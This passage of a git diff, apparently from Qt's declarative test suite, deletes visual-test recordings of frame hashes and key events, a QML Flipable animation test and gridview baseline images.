- msec: 3200 - hash: "51f8508eddffbac2fad22bd3e8040c69" - } - Frame { - msec: 3216 - hash: "f5cf7e68edc5fcd9dd91882d3f9ba380" - } - Frame { - msec: 3232 - hash: "0acaa3ece071ad4461cf4a79d65a0f03" - } - Frame { - msec: 3248 - hash: "0acaa3ece071ad4461cf4a79d65a0f03" - } - Frame { - msec: 3264 - hash: "6d813ee777a5900c65aca5939c004d0c" - } - Frame { - msec: 3280 - hash: "6d813ee777a5900c65aca5939c004d0c" - } - Frame { - msec: 3296 - hash: "6d813ee777a5900c65aca5939c004d0c" - } - Frame { - msec: 3312 - hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17" - } - Frame { - msec: 3328 - hash: "0ff9fd6b09fc14abacb794353b9500f6" - } - Frame { - msec: 3344 - hash: "0ff9fd6b09fc14abacb794353b9500f6" - } - Frame { - msec: 3360 - hash: "6f328038e5d505c402651423c44986a5" - } - Frame { - msec: 3376 - hash: "6f328038e5d505c402651423c44986a5" - } - Frame { - msec: 3392 - hash: "dd04a76df90f27358f4162fd85cfa4cd" - } - Frame { - msec: 3408 - hash: "12df495b5e8bfd2c9dd13fbeccc69e08" - } - Frame { - msec: 3424 - hash: "4b6f9dcde7d5d88b9c3eff3187378036" - } - Frame { - msec: 3440 - hash: "712f3850c0efe45c60a3761f1354b90b" - } - Frame { - msec: 3456 - hash: "22215981f00790d7a409230eb730abca" - } - Frame { - msec: 3472 - hash: "a4a26f9736282ceb307f0f97735002eb" - } - Frame { - msec: 3488 - hash: "b41d7a18d84a8b220e99464cab86882d" - } - Frame { - msec: 3504 - hash: "c7c1961120f128cd0fcd6a7b61c98197" - } - Frame { - msec: 3520 - hash: "e56e7ba603d2620afb0fab6b19aff33e" - } - Frame { - msec: 3536 - hash: "1a258bed9a7a38452a746d7641016e73" - } - Frame { - msec: 3552 - hash: "a237b9c187bbbcb79f624d74def15db2" - } - Frame { - msec: 3568 - hash: "34a7afdebb7352ca65e0eaec61632d12" - } - Frame { - msec: 3584 - hash: "a5a98e932a30418bae62bb006afc1048" - } - Frame { - msec: 3600 - hash: "2ee25374cb9fef01e78d02c4131010b7" - } - Frame { - msec: 3616 - hash: "7956b07b848ba89905e5c609657503e2" - } - Frame { - msec: 3632 - hash: "0949a2b13f6475b3f11be04321c953a1" - } - Frame { - msec: 3648 - hash: "5a1ff901ecc7c3cd7f39cd07e0273dd4" - } - Frame { - msec: 3664 - hash: "44fcd7209b9f5b1c28c21e9aae408097" - } - Frame { - msec: 3680 - hash: "bee94f395239aebb0bacca3dbbee95e5" - } - Frame { - msec: 3696 - hash: "bd26b7e2b07bbcee3819fdacc35eea8d" - } - Frame { - msec: 3712 - hash: "d3707b90c5cd0d1061db4b97b6fcb96a" - } - Frame { - msec: 3728 - hash: "6f6ed6c7553b3f909d53e2146b3831d5" - } - Frame { - msec: 3744 - hash: "a3a1a03617d1cb5660c51bf2f18088bc" - } - Frame { - msec: 3760 - hash: "6d4646f0a53800ad60d173ab9cb9010a" - } - Frame { - msec: 3776 - hash: "126cae232e2fe49e3188393c2798065b" - } - Frame { - msec: 3792 - hash: "e1fa758d333ffe5208365c0babff33a0" - } - Frame { - msec: 3808 - hash: "f2a6156f7d6013bd4234b35c21adb074" - } - Frame { - msec: 3824 - hash: "0271f66eb6d9b91a3ab8da2d728b9581" - } - Frame { - msec: 3840 - image: "test-flipable.3.png" - } - Frame { - msec: 3856 - hash: "e18635d7c6c5de361e7406c2db357aca" - } - Frame { - msec: 3872 - hash: "56100e9ca8d1eb7e6334e5a05ef2b94d" - } - Frame { - msec: 3888 - hash: "3d15b8d662d3df82dd78590c43794337" - } - Frame { - msec: 3904 - hash: "9729b36fe9dbabf0c46e78b723885530" - } - Frame { - msec: 3920 - hash: "ccb8b51084cc1ef3d201887b824fb1ac" - } - Frame { - msec: 3936 - hash: "d9dc9d240a6f89603a54bccd66361530" - } - Frame { - msec: 3952 - hash: "0e52d92455c263493d32ffe93f242739" - } - Frame { - msec: 3968 - hash: "695ab932722844b975097779e26df55c" - } - Frame { - msec: 3984 - hash: "da285cba2e11db1e87d1d180e376ff8e" - } - Frame { - msec: 4000 - hash: "54bd12888fc4526d310fa0a66b5ba3be" - } - Frame { - msec: 4016 - hash: "c3e3db473bdb96fd619b078f0f6b3ceb" - } - Frame { - msec: 4032 - hash: "acfd8aaf0bb52ad3ef3116bb99f3656a" - } - Frame { - msec: 4048 - hash: "c5a0877ce86c26b30b642818e83d6118" - } - Frame { - msec: 4064 - hash: "b187fde9af2bad37f84f6324afcbb303" - } - Frame { - msec: 4080 - hash: "0dfe035424d7f31dda88be3b4bb30c8a" - } - Frame { - msec: 4096 - hash: "893bddc95fbf6e452ba61b06eab1a8c5" - } - Frame { - msec: 4112 - hash: "35fb89ea579819f4b3416ff1c1b1cc9d" - } - Frame { - msec: 4128 - hash: "316371649f9a1e12e336c5823408eaf9" - } - Frame { - msec: 4144 - hash: "ade751c6e497c73a920baf18f0752908" - } - Frame { - msec: 4160 - hash: "86720fa1eeae374c6cc67e107d27e23a" - } - Frame { - msec: 4176 - hash: "1a6f080227f1ccd03b6c4093b9fdadb3" - } - Frame { - msec: 4192 - hash: "f7d7398edba69716ec8c0699d5472dca" - } - Frame { - msec: 4208 - hash: "9e62c9dd25abb203f5c06c7bff0d8363" - } - Frame { - msec: 4224 - hash: "fd90404238b458fc86a4a17e6a976f9b" - } - Frame { - msec: 4240 - hash: "e39668dc347318fc61a365f9006aab3c" - } - Frame { - msec: 4256 - hash: "c40f41f635f10f5f9b04b42ba2dc5bb1" - } - Frame { - msec: 4272 - hash: "c0f971c75b7237de7e9b2f25cc3f34b2" - } - Frame { - msec: 4288 - hash: "a1c79481fd1632cfdc396aefb3592534" - } - Frame { - msec: 4304 - hash: "6eee76f40fc7ec1a1e3d77c849321740" - } - Frame { - msec: 4320 - hash: "0a36746ab17caef5946731c31af3823f" - } - Frame { - msec: 4336 - hash: "863dedd22df4e1d14e73eaeb851e9b66" - } - Frame { - msec: 4352 - hash: "318e8751f7056bb6a004c8a7ce7be870" - } - Frame { - msec: 4368 - hash: "8fb2809a366f42c86fad7aa5db3ff22c" - } - Frame { - msec: 4384 - hash: "8aaea666640cb3b27e3374f756fe411b" - } - Frame { - msec: 4400 - hash: "1f552095d26a8d145584e36237630916" - } - Frame { - msec: 4416 - hash: "cd5aa55715786cac0f7efc90c7c4b9d6" - } - Frame { - msec: 4432 - hash: "7a3153d9309ec338dce3437ecf667646" - } - Frame { - msec: 4448 - hash: "c7fa40e69148f1c5ec494ad159b6ce6c" - } - Frame { - msec: 4464 - hash: "e131bc8ca25ddc4b7dd6582ff034fe14" - } - Frame { - msec: 4480 - hash: "3174c672e62dae0341d5849e23031280" - } - Frame { - msec: 4496 - hash: "0b25fb7d33708a3292ede7c66e25a3d7" - } - Frame { - msec: 4512 - hash: "84b3cf92b3abc2f5acf07cfccf3c0202" - } - Frame { - msec: 4528 - hash: "fafbd14d296e4954bce7816d811ddd89" - } - Frame { - msec: 4544 - hash: "865018d8408863b741a7082a962236dc" - } - Frame { - msec: 4560 - hash: "f626082691429565b55ce9e04b14a665" - } - Frame { - msec: 4576 - hash: "8a02f7d3d53e98384d1f05dc7fc5fd37" - } - Frame { - msec: 4592 - hash: "6af3a8305b25a9a769b8cf00479c6ab3" - } - Frame { - msec: 4608 - hash: "b31470b0ac4a593317abc365acb2b281" - } - Frame { - msec: 4624 - hash: "efd00c43b1b8bbc4bc5496dcfa58c6b0" - } - Frame { - msec: 4640 - hash: "498cf6c20aeca609e9d9cea78f0cc6a3" - } - Frame { - msec: 4656 - hash: "b55661b5d9632bc0d7fc7ff3a421a2e7" - } - Frame { - msec: 4672 - hash: "2f1e402c5e4a0615528f91dd2e183ddd" - } - Frame { - msec: 4688 - hash: "d1c166cc7932e72ba22a73637cad65d6" - } - Frame { - msec: 4704 - hash: "374b703e0059fc80b67480113d584754" - } - Frame { - msec: 4720 - hash: "e8de71d4a2a253e366b2edf5d475824d" - } - Frame { - msec: 4736 - hash: "6a9d033b332f0c0285284fdaddf3bbdb" - } - Frame { - msec: 4752 - hash: "640c227fb62e40c666035e7465ac5c4e" - } - Frame { - msec: 4768 - hash: "9cf7dc6507befd6ae54f380a7d87a207" - } - Frame { - msec: 4784 - hash: "d1c7b2160c08e03e7a98d7d2db0116f7" - } - Frame { - msec: 4800 - image: "test-flipable.4.png" - } - Frame { - msec: 4816 - hash: "6e48e605ea1aed4028e02476328f182b" - } - Frame { - msec: 4832 - hash: "2dfa5fdfd07e7000caee6abf5fe84378" - } - Frame { - msec: 4848 - hash: "2b0c2f019b07f1f8b4e5af9a520ab061" - } - Frame { - msec: 4864 - hash: "33cb1aaeb7dafc2475e4337be7cc7892" - } - Frame { - msec: 4880 - hash: "91290d1435bedb5010ba135a7f99c0a2" - } - Frame { - msec: 4896 - hash: "df7434eb6c6e5d45935d6c6fd03f06d1" - } - Frame { - msec: 4912 - hash: "48dfe78dcdd65242132071454fb9ea33" - } - Frame { - msec: 4928 - hash: "1b288012e123cb6051bfa180ea2a2bc0" - } - Frame { - msec: 4944 - hash: "84b23d92987f59df336d9b269e3b7bbc" - } - Frame { - msec: 4960 - hash: "c413ca53240df702c3ba0c7f4dacca3b" - } - Frame { - msec: 4976 - hash: "339c06a2e1fc05ebfd3732097b9c5242" - } - Frame { - msec: 4992 - hash: "f1e647e274ac8c8458d2c1e576623688" - } - Frame { - msec: 5008 - hash: "a70dc2f51ecfc164595cfef61c1da245" - } - Frame { - msec: 5024 - hash: "b69f034a71b53c885cd177da422d5fc7" - } - Frame { - msec: 5040 - hash: "26c25a031944c677b30f69c8498ac6ce" - } - Frame { - msec: 5056 - hash: "ebc2328766e8736eac989e309968d8f9" - } - Frame { - msec: 5072 - hash: "41d55f53bfc74e614c906d3f6b813704" - } - Frame { - msec: 5088 - hash: "135e97adb3f19aa19d746ece1b2b3d02" - } - Frame { - msec: 5104 - hash: "85c4454dbe9a39b3005f32fd7a06b1b2" - } - Frame { - msec: 5120 - hash: "7561e0dd6970f7c81bcb53c9371d4405" - } - Frame { - msec: 5136 - hash: "c9961d5abf700a06ed294ce7aecb6147" - } - Frame { - msec: 5152 - hash: "29acf87effa3c21322334080776c566e" - } - Frame { - msec: 5168 - hash: "04990a79d5ff5cb41dcd48d3e3bf5b11" - } - Frame { - msec: 5184 - hash: "f40c78c37a26249ecb161af778631f7b" - } - Frame { - msec: 5200 - hash: "eddacaeae7c47d063db737f678896da1" - } - Frame { - msec: 5216 - hash: "5ae523dc1115fd0904875718e05aa2a5" - } - Frame { - msec: 5232 - hash: "f09c299412a9e2fd353c4937ad959f25" - } - Frame { - msec: 5248 - hash: "9caeae0abd3bc665bd307997baea6a48" - } - Frame { - msec: 5264 - hash: "e9d222c9d23773488b64b0a6323c1095" - } - Frame { - msec: 5280 - hash: "ad34c46ab3d418a2af7bffc59e720868" - } - Frame { - msec: 5296 - hash: "ff0d8cfd272fca5be34b663a7e52f283" - } - Frame { - msec: 5312 - hash: "55f95277276217de16b6b43090bbb807" - } - Frame { - msec: 5328 - hash: "387fadf4140d335c0b05cfee0c37a413" - } - Frame { - msec: 5344 - hash: "10a1a5a91c11aa8279ae4e57e4d3946b" - } - Frame { - msec: 5360 - hash: "414f7bf3a3ec05a9840cd104a13d5504" - } - Frame { - msec: 5376 - hash: "e027716402ead36450732c8350e614b5" - } - Frame { - msec: 5392 - hash: "0190f59275f01429ee6761b39ce99fc1" - } - Frame { - msec: 5408 - hash: "7f99dd337561f006a7c56babe3c10c38" - } - Frame { - msec: 5424 - hash: "4bbb76393e56b5da723c1f33a7694013" - } - Frame { - msec: 5440 - hash: "00eedf86916629fe90f3c2f36e0c689e" - } - Frame { - msec: 5456 - hash: "84d1f5a6604b75371f2fa7b60a59299b" - } - Frame { - msec: 5472 - hash: "00488220a460746be6d7d1b66d15c392" - } - Frame { - msec: 5488 - hash: "cae5a6d45425d641228210a47c5ee5f6" - } - Frame { - msec: 5504 - hash: "670a2132e65564ca2cfd58ec9842ba93" - } - Frame { - msec: 5520 - hash: "212b6cc9fa130bec9579cf218e1f7eeb" - } - Frame { - msec: 5536 - hash: "b159e67541b5b1b5071f6cd041c62293" - } - Frame { - msec: 5552 - hash: "8c4e62d26e19c32200772edefd329db3" - } - Frame { - msec: 5568 - hash: "1ff120d0444e398cc79190012b548b4b" - } - Frame { - msec: 5584 - hash: "1c75bccd5e19ee9a2644585b726db048" - } - Frame { - msec: 5600 - hash: "bc16aff96b1f9cfe3807e95e371a8f26" - } - Frame { - msec: 5616 - hash: "35a5fdb20bdbaf0122cac4cad60e7bb8" - } - Frame { - msec: 5632 - hash: "ea7ac72c81abff8af260be508b6cf117" - } - Frame { - msec: 5648 - hash: "2d112d040fd425c59b511066737e494d" - } - Frame { - msec: 5664 - hash: "769d2724656dbf0e793ecd8e42db3de2" - } - Frame { - msec: 5680 - hash: "1c25b3d65e8590f8c213afa76b722e97" - } - Frame { - msec: 5696 - hash: "760a103d4524f8b665c6ff42185a8ce7" - } - Frame { - msec: 5712 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 5728 - hash: "3fad6b23b0b78f844e02fe307e20d376" - } - Frame { - msec: 5744 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 5760 - image: "test-flipable.5.png" - } - Frame { - msec: 5776 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 5792 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 5808 - hash: "da2a1e5e988c27577ceb453cb0383703" - } - Frame { - msec: 5824 - hash: "ae2407f8da9a047d2725bcdcf8e568b2" - } - Frame { - msec: 5840 - hash: "ae2407f8da9a047d2725bcdcf8e568b2" - } - Frame { - msec: 5856 - hash: "e97a5d968da37789c28816608fa262a1" - } - Frame { - msec: 5872 - hash: "9becb90d9f8a61f5afacdc53d137ebcb" - } - Frame { - msec: 5888 - hash: "9811f823e057882d384f36d7227fa12e" - } - Frame { - msec: 5904 - hash: "1e7a308d18851db0a430542178944c67" - } - Frame { - msec: 5920 - hash: "692931f1db6ddf0b37eb64026ca830f8" - } - Frame { - msec: 5936 - hash: "2117c775960234c297187ea2e9d51e73" - } - Frame { - msec: 5952 - hash: "f8038dc4b67b92ef776a97589240e8c5" - } - Frame { - msec: 5968 - hash: "51dff66a7767e3464fda60f2cf906700" - } - Frame { - msec: 5984 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 6000 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 6016 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 6032 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 6048 - hash: "7e16e6360fc2e9db67dbf11d58042745" - } - Frame { - msec: 6064 - hash: "51dff66a7767e3464fda60f2cf906700" - } - Frame { - msec: 6080 - hash: "f8038dc4b67b92ef776a97589240e8c5" - } - Frame { - msec: 6096 - hash: "2117c775960234c297187ea2e9d51e73" - } - Frame { - msec: 6112 - hash: "692931f1db6ddf0b37eb64026ca830f8" - } - Frame { - msec: 6128 - hash: "f01b7368e42381dda5eadf56482ea993" - } - Frame { - msec: 6144 - hash: "9811f823e057882d384f36d7227fa12e" - } - Frame { - msec: 6160 - hash: "9b40b6c75af876567ff49688bc710f2a" - } - Frame { - msec: 6176 - hash: "e97a5d968da37789c28816608fa262a1" - } - Frame { - msec: 6192 - hash: "2cd0627fdc63bb91f8dcac789d7a93b2" - } - Frame { - msec: 6208 - hash: "ae2407f8da9a047d2725bcdcf8e568b2" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6224 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 6240 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 6256 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 6272 - hash: "90fb4e4ba04ac32b52c10b3258431c04" - } - Frame { - msec: 6288 - hash: "73c06997014af4e008b546b53fe349fb" - } - Frame { - msec: 6304 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 6320 - hash: "451a9408b04826ab35749d9120efd6bb" - } - Frame { - msec: 6336 - hash: "3fad6b23b0b78f844e02fe307e20d376" - } - Frame { - msec: 6352 - hash: "1c25b3d65e8590f8c213afa76b722e97" - } - Frame { - msec: 6368 - hash: "769d2724656dbf0e793ecd8e42db3de2" - } - Frame { - msec: 6384 - hash: "9e375cb3815723a2c5dda39c79325e96" - } - Frame { - msec: 6400 - hash: "77a245991ed8e40163bd0224eb15f20e" - } - Frame { - msec: 6416 - hash: "e6936f1122c8c0a76b0eb61ad086a9f1" - } - Frame { - msec: 6432 - hash: "8048f84221a02e7102cf3272445862a1" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeflipable/test-flipable.qml b/tests/auto/declarative/visual/qdeclarativeflipable/test-flipable.qml deleted file mode 100644 index a27aa6e..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflipable/test-flipable.qml +++ /dev/null @@ -1,79 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 240 - color: "white" - - Timer { - interval: 3000; running: true; repeat: true; triggeredOnStart: true - onTriggered: { - if (flipable.state == '') flipable.state = 'back'; else flipable.state = '' - if (flipable2.state == '') flipable2.state = 'back'; else flipable2.state = '' - } - } - - Flipable { - id: flipable - width: 200; height: 200 - - transform: Rotation { - id: rotation; angle: 0 - origin.x: 100; origin.y: 100 - axis.x: 0; axis.y: 1; axis.z: 0 - } - - front: Rectangle { - color: "steelblue"; width: 200; height: 200 - } - - back: Rectangle { - color: "deeppink"; width: 200; height: 200 - } - - states: State { - name: "back" - PropertyChanges { target: rotation; angle: 180 } - } - - transitions: Transition { - NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 } - } - } - - Flipable { - id: flipable2 - x: 200; width: 200; height: 200 - - transform: Rotation { - id: rotation2; angle: 0 - origin.x: 100; origin.y: 100 - axis.x: 1; axis.z: 0 - } - - front: Rectangle { - color: "deeppink"; width: 200; height: 200 - } - - back: Rectangle { - color: "steelblue"; width: 200; height: 200 - } - - states: State { - name: "back" - PropertyChanges { target: rotation2; angle: 180 } - } - - transitions: Transition { - NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 } - } - } - - Rectangle { - x: 25; width: 150; y: 210; height: 20; color: "black" - visible: flipable.side == Flipable.Front - } - Rectangle { - x: 225; width: 150; y: 210; height: 20; color: "black" - visible: flipable2.side == Flipable.Back - } -} diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.0.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.0.png deleted file mode 100644 index 6c82777..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.1.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.1.png deleted file mode 100644 index 07b1f7c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.2.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.2.png deleted file mode 100644 index f2f08c0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.3.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.3.png deleted file mode 100644 index 08649f9..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.4.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.4.png deleted file mode 100644 index f9c2f17..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.5.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.5.png deleted file mode 100644 index 52ec0bd..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.6.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.6.png deleted file mode 100644 index 3fe25be..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.7.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.7.png deleted file mode 100644 index 4cc12a6..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.8.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.8.png deleted file mode 100644 index 2267f23..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.9.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.9.png deleted file mode 100644 index 6c82777..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.qml b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.qml deleted file mode 100644 index c7ac52d..0000000 --- a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview.qml +++ /dev/null @@ -1,2859 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 32 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 48 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 64 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 80 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 96 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 112 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 128 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 144 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 160 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 176 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 192 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 208 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 224 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 240 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 256 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 272 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 288 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 304 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 320 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 336 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 352 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 368 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 384 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 400 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 416 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Frame { - msec: 432 - hash: "c33447c78ea64452ec3cd1696fb502eb" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 448 - hash: "96ad89eafa7f99269518a192573af91b" - } - Frame { - msec: 464 - hash: "735b00b968d0e2ea1f34cc0bdc028a8e" - } - Frame { - msec: 480 - hash: "ce37c8e15fbb1aea72aff9629683fa96" - } - Frame { - msec: 496 - hash: "a3f2471ef4ceac77a1c20ac327550d8d" - } - Frame { - msec: 512 - hash: "28f120bd3bda9552dbc8cc908409c67d" - } - Frame { - msec: 528 - hash: "f21cf0ed746fa48e67dc90c70c5bbae8" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "485d55730366b68e01582879f6970fa1" - } - Frame { - msec: 560 - hash: "700e53c78b28993dce5dafb4035f4760" - } - Frame { - msec: 576 - hash: "1e538e175a5e402e2334cf354392e8a7" - } - Frame { - msec: 592 - hash: "0fbfba93eebaf05ae60067b365b6b4bc" - } - Frame { - msec: 608 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 624 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 640 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 656 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 672 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 688 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Frame { - msec: 704 - hash: "7b1893397b76b0c95094eeca1dd21446" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 720 - hash: "25e48099a8194ed2674651818d854c61" - } - Frame { - msec: 736 - hash: "b75d02dfc238ba2292306ca1421279c3" - } - Frame { - msec: 752 - hash: "7e48b7d9c1291b4e438c81f44228d8ad" - } - Frame { - msec: 768 - hash: "fe4b009abe081a6eaeab6ef9e996f3fd" - } - Frame { - msec: 784 - hash: "edea8c305fe88708dbafc03e427caa09" - } - Frame { - msec: 800 - hash: "7b58803f12d0ab893acf539799d79e31" - } - Frame { - msec: 816 - hash: "9b56c3d1d140114dcc57d0a8568e9b95" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 832 - hash: "35e38e273dbc8e565917b21d00fc1530" - } - Frame { - msec: 848 - hash: "116e294391333e8780daeca54c3d51ea" - } - Frame { - msec: 864 - hash: "6219676215f82540d7a53b2a8aa60279" - } - Frame { - msec: 880 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 896 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 912 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 928 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 944 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 960 - image: "gridview.0.png" - } - Frame { - msec: 976 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 992 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1008 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1024 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1040 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1056 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1072 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1088 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1104 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1120 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1136 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 1152 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1168 - hash: "2667c2596de97dc15353158eba03495f" - } - Frame { - msec: 1184 - hash: "6a7b64e1427dcb7e438aa09a739cbc7b" - } - Frame { - msec: 1200 - hash: "5bad6dc745958f5827403ea593c78752" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1216 - hash: "b393401219ada7d094a451dba8af3f1a" - } - Frame { - msec: 1232 - hash: "ba656452f8adf3d1ca7db9286274c37f" - } - Frame { - msec: 1248 - hash: "1e9725c8c364a491f34035fad1f77c63" - } - Frame { - msec: 1264 - hash: "a0aef0b65446dec0673b5cec3a260390" - } - Frame { - msec: 1280 - hash: "d60c11a5d376af0831d6f05f2a839a92" - } - Frame { - msec: 1296 - hash: "1dd2c456c6ee9cc8f9be0e9f3617d44b" - } - Frame { - msec: 1312 - hash: "56208e6551e2f4202bab2d62a1cf46a2" - } - Frame { - msec: 1328 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1344 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1360 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1376 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1392 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1408 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1424 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { - msec: 1440 - hash: "caa3c1a106d549e6bb94a1746bd7a53c" - } - Frame { 